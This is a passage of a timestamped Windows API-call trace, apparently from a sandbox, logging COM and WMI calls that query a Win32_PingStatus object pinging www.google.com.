This=0x4f5b4f8, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x59ee448 | out: ppvObject=0x59ee448*=0x0) returned 0x80004002 [0142.483] WbemStatusCodeText:IUnknown:AddRef (This=0x4f5b4f8) returned 0x3 [0142.483] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f5b4f8, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x59edda4 | out: ppvObject=0x59edda4*=0x0) returned 0x80004002 [0142.483] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f5b4f8, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x59edd54 | out: ppvObject=0x59edd54*=0x0) returned 0x80004002 [0142.483] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f5b4f8, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59edd60 | out: ppvObject=0x59edd60*=0x0) returned 0x80004002 [0142.483] CoGetContextToken (in: pToken=0x59eddc0 | out: pToken=0x59eddc0) returned 0x0 [0142.483] CoGetContextToken (in: pToken=0x59ee1d4 | out: pToken=0x59ee1d4) returned 0x0 [0142.483] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f5b4f8, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee254 | out: ppvObject=0x59ee254*=0x0) returned 0x80004002 [0142.483] WbemStatusCodeText:IUnknown:Release (This=0x4f5b4f8) returned 0x2 [0142.483] WbemStatusCodeText:IUnknown:Release (This=0x4f5b4f8) returned 0x1 [0142.483] CoGetContextToken (in: pToken=0x59ee854 | out: pToken=0x59ee854) returned 0x0 [0142.484] CoGetContextToken (in: pToken=0x59ee7b4 | out: pToken=0x59ee7b4) returned 0x0 [0142.484] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f5b4f8, riid=0x59ee884*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x59ee880 | out: ppvObject=0x59ee880*=0x4f5b4f8) returned 0x0 [0142.484] WbemStatusCodeText:IUnknown:AddRef (This=0x4f5b4f8) returned 0x3 [0142.484] WbemStatusCodeText:IUnknown:Release (This=0x4f5b4f8) returned 0x2 [0142.484] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x4f5b4f8, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x59ee9e4 | out: MessageText=0x59ee9e4*="Not found ") returned 0x0 [0142.484] SysStringByteLen (bstr="Not found ") returned 0x14 [0142.485] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee9d4 | out: puCount=0x59ee9d4*=0x2) returned 0x0 [0142.485] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0x0, pszText=0x0 | out: puBuffLength=0x59ee9d0*=0xf, pszText=0x0) returned 0x0 [0142.485] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.485] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee9d4 | out: puCount=0x59ee9d4*=0x2) returned 0x0 [0142.485] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0x0, pszText=0x0 | out: puBuffLength=0x59ee9d0*=0xf, pszText=0x0) returned 0x0 [0142.486] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.486] IWbemClassObject:GetNames (in: This=0x4f480a0, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59ee9dc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59ee9d0 | out: pNames=0x59ee9d0*="\x01ƀ\x04") returned 0x0 [0142.486] SafeArrayGetDim (psa=0x5075d0) returned 0x1 [0142.486] SafeArrayGetDim (psa=0x5075d0) returned 0x1 [0142.486] SafeArrayGetLBound (in: psa=0x5075d0, nDim=0x1, plLbound=0x59ee868 | out: plLbound=0x59ee868) returned 0x0 [0142.486] SysStringByteLen (bstr="__GENUS") returned 0xe [0142.486] SysStringByteLen (bstr="__GENUS") returned 0xe [0142.486] SysStringByteLen (bstr="__CLASS") returned 0xe [0142.486] SysStringByteLen (bstr="__CLASS") returned 0xe [0142.486] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0142.486] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0142.486] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0142.486] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0142.486] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0142.486] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0142.486] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0142.486] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0142.487] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0142.487] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0142.487] SysStringByteLen (bstr="__SERVER") returned 0x10 [0142.487] SysStringByteLen (bstr="__SERVER") returned 0x10 [0142.487] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0142.487] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0142.487] SysStringByteLen (bstr="__PATH") returned 0xc [0142.487] SysStringByteLen (bstr="__PATH") returned 0xc [0142.487] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__GENUS", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b7878*=0, plFlavor=0x24b787c*=0 | out: pVal=0x59ee9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x24b7878*=3, plFlavor=0x24b787c*=64) returned 0x0 [0142.487] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__CLASS", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b78ac*=0, plFlavor=0x24b78b0*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x24b78ac*=8, plFlavor=0x24b78b0*=64) returned 0x0 [0142.487] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.487] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.487] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__SUPERCLASS", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b7904*=0, plFlavor=0x24b7908*=0 | out: pVal=0x59ee9cc*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b7904*=8, plFlavor=0x24b7908*=64) returned 0x0 [0142.488] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__DYNASTY", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b792c*=0, plFlavor=0x24b7930*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x24b792c*=8, plFlavor=0x24b7930*=64) returned 0x0 [0142.488] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.488] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.488] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__RELPATH", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b7984*=0, plFlavor=0x24b7988*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x24b7984*=8, plFlavor=0x24b7988*=64) returned 0x0 [0142.488] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0142.488] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0142.488] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b7b60*=0, plFlavor=0x24b7b64*=0 | out: pVal=0x59ee9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x24b7b60*=3, plFlavor=0x24b7b64*=64) returned 0x0 [0142.488] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__DERIVATION", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b7b94*=0, plFlavor=0x24b7b98*=0 | out: pVal=0x59ee9cc*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x507510*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f5b4e8, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x24b7b94*=8200, plFlavor=0x24b7b98*=64) returned 0x0 [0142.489] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__SERVER", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b7bc8*=0, plFlavor=0x24b7bcc*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x24b7bc8*=8, plFlavor=0x24b7bcc*=64) returned 0x0 [0142.489] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.489] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.489] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b7c14*=0, plFlavor=0x24b7c18*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x24b7c14*=8, plFlavor=0x24b7c18*=64) returned 0x0 [0142.489] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.489] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.489] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__PATH", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b7c60*=0, plFlavor=0x24b7c64*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x24b7c60*=8, plFlavor=0x24b7c64*=64) returned 0x0 [0142.489] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0142.489] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0142.489] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59eea10 | out: puCount=0x59eea10*=0x2) returned 0x0 [0142.489] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eea0c*=0x0, pszText=0x0 | out: puBuffLength=0x59eea0c*=0xf, pszText=0x0) returned 0x0 [0142.489] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eea0c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59eea0c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.489] IWbemClassObject:Get (in: This=0x4f480a0, wszName="WriteWarningStream", lFlags=0, pVal=0x59eea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b7e98*=0, plFlavor=0x24b7e9c*=0 | out: pVal=0x59eea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b7e98*=0, plFlavor=0x24b7e9c*=0) returned 0x80041002 [0142.489] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x59ee9f0 | out: pperrinfo=0x59ee9f0*=0x0) returned 0x1 [0142.491] CoGetClassObject (in: rclsid=0x4f3e35c*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x59ee650 | out: ppv=0x59ee650*=0x4f5b4e8) returned 0x0 [0142.491] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f5b4e8, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x59ee868 | out: ppvObject=0x59ee868*=0x0) returned 0x80004002 [0142.491] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x4f5b4e8, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee874 | out: ppvObject=0x59ee874*=0x4f5b508) returned 0x0 [0142.491] WbemStatusCodeText:IUnknown:Release (This=0x4f5b4e8) returned 0x0 [0142.491] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f5b508, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee494 | out: ppvObject=0x59ee494*=0x4f5b508) returned 0x0 [0142.492] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f5b508, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x59ee448 | out: ppvObject=0x59ee448*=0x0) returned 0x80004002 [0142.492] WbemStatusCodeText:IUnknown:AddRef (This=0x4f5b508) returned 0x3 [0142.492] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f5b508, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x59edda4 | out: ppvObject=0x59edda4*=0x0) returned 0x80004002 [0142.492] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f5b508, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x59edd54 | out: ppvObject=0x59edd54*=0x0) returned 0x80004002 [0142.492] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f5b508, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59edd60 | out: ppvObject=0x59edd60*=0x0) returned 0x80004002 [0142.492] CoGetContextToken (in: pToken=0x59eddc0 | out: pToken=0x59eddc0) returned 0x0 [0142.492] CoGetContextToken (in: pToken=0x59ee1d4 | out: pToken=0x59ee1d4) returned 0x0 [0142.492] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f5b508, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee254 | out: ppvObject=0x59ee254*=0x0) returned 0x80004002 [0142.492] WbemStatusCodeText:IUnknown:Release (This=0x4f5b508) returned 0x2 [0142.492] WbemStatusCodeText:IUnknown:Release (This=0x4f5b508) returned 0x1 [0142.492] CoGetContextToken (in: pToken=0x59ee854 | out: pToken=0x59ee854) returned 0x0 [0142.492] CoGetContextToken (in: pToken=0x59ee7b4 | out: pToken=0x59ee7b4) returned 0x0 [0142.492] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f5b508, riid=0x59ee884*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x59ee880 | out: ppvObject=0x59ee880*=0x4f5b508) returned 0x0 [0142.493] WbemStatusCodeText:IUnknown:AddRef (This=0x4f5b508) returned 0x3 [0142.493] WbemStatusCodeText:IUnknown:Release (This=0x4f5b508) returned 0x2 [0142.493] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x4f5b508, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x59ee9e4 | out: MessageText=0x59ee9e4*="Not found ") returned 0x0 [0142.493] SysStringByteLen (bstr="Not found ") returned 0x14 [0142.494] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee9d4 | out: puCount=0x59ee9d4*=0x2) returned 0x0 [0142.494] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0x0, pszText=0x0 | out: puBuffLength=0x59ee9d0*=0xf, pszText=0x0) returned 0x0 [0142.494] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.494] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee9d4 | out: puCount=0x59ee9d4*=0x2) returned 0x0 [0142.494] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0x0, pszText=0x0 | out: puBuffLength=0x59ee9d0*=0xf, pszText=0x0) returned 0x0 [0142.494] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.494] IWbemClassObject:GetNames (in: This=0x4f480a0, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59ee9dc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59ee9d0 | out: pNames=0x59ee9d0*="\x01ƀ\x04") returned 0x0 [0142.494] SafeArrayGetDim (psa=0x507570) returned 0x1 [0142.494] SafeArrayGetDim (psa=0x507570) returned 0x1 [0142.494] SafeArrayGetLBound (in: psa=0x507570, nDim=0x1, plLbound=0x59ee868 | out: plLbound=0x59ee868) returned 0x0 [0142.591] SysStringByteLen (bstr="__GENUS") returned 0xe [0142.608] SysStringByteLen (bstr="__GENUS") returned 0xe [0142.608] SysStringByteLen (bstr="__CLASS") returned 0xe [0142.608] SysStringByteLen (bstr="__CLASS") returned 0xe [0142.608] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0142.608] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0142.608] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0142.608] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0142.608] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0142.608] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0142.608] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0142.608] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0142.608] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0142.608] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0142.608] SysStringByteLen (bstr="__SERVER") returned 0x10 [0142.608] SysStringByteLen (bstr="__SERVER") returned 0x10 [0142.609] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0142.609] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0142.609] SysStringByteLen (bstr="__PATH") returned 0xc [0142.609] SysStringByteLen (bstr="__PATH") returned 0xc [0142.609] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__GENUS", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b8278*=0, plFlavor=0x24b827c*=0 | out: pVal=0x59ee9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x24b8278*=3, plFlavor=0x24b827c*=64) returned 0x0 [0142.609] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__CLASS", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b82ac*=0, plFlavor=0x24b82b0*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x24b82ac*=8, plFlavor=0x24b82b0*=64) returned 0x0 [0142.609] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.632] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.632] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__SUPERCLASS", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b8304*=0, plFlavor=0x24b8308*=0 | out: pVal=0x59ee9cc*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b8304*=8, plFlavor=0x24b8308*=64) returned 0x0 [0142.632] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__DYNASTY", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b832c*=0, plFlavor=0x24b8330*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x24b832c*=8, plFlavor=0x24b8330*=64) returned 0x0 [0142.632] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.632] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.632] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__RELPATH", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b8384*=0, plFlavor=0x24b8388*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x24b8384*=8, plFlavor=0x24b8388*=64) returned 0x0 [0142.632] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0142.633] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0142.633] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b856c*=0, plFlavor=0x24b8570*=0 | out: pVal=0x59ee9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x24b856c*=3, plFlavor=0x24b8570*=64) returned 0x0 [0142.633] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__DERIVATION", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b85a0*=0, plFlavor=0x24b85a4*=0 | out: pVal=0x59ee9cc*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x507540*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f5b4e8, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x24b85a0*=8200, plFlavor=0x24b85a4*=64) returned 0x0 [0142.633] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__SERVER", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x24b85d4*=0, plFlavor=0x24b85d8*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x24b85d4*=8, plFlavor=0x24b85d8*=64) returned 0x0 [0142.634] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.634] 